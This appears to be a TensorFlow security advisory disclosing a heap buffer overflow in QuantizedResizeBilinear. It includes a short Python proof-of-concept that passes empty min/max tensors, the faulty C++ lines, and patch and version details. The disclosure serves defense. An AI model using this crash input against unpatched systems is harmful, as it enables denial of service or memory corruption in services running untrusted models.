Heap buffer overflow in `QuantizedResizeBilinear`GHSA-8c89-2vwr-chcq

Impact

An attacker can cause a heap buffer overflow in QuantizedResizeBilinear by passing in invalid thresholds for the quantization:

import tensorflow as tf

images = tf.constant([], shape=[0], dtype=tf.qint32)
size = tf.constant([], shape=[0], dtype=tf.int32) 
min = tf.constant([], dtype=tf.float32)
max = tf.constant([], dtype=tf.float32)

tf.raw_ops.QuantizedResizeBilinear(images=images, size=size, min=min, max=max, align_corners=False, half_pixel_centers=False)

This is because the implementation assumes that the 2 arguments are always valid scalars and tries to access the numeric value directly:

const float in_min = context->input(2).flat<float>()(0);
const float in_max = context->input(3).flat<float>()(0);

However, if any of these tensors is empty, then .flat<T>() is an empty buffer and accessing the element at position 0 results in overflow.

Patches

We have patched the issue in GitHub commit f6c40f0c6cbf00d46c7717a26419f2062f2f8694.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

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Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.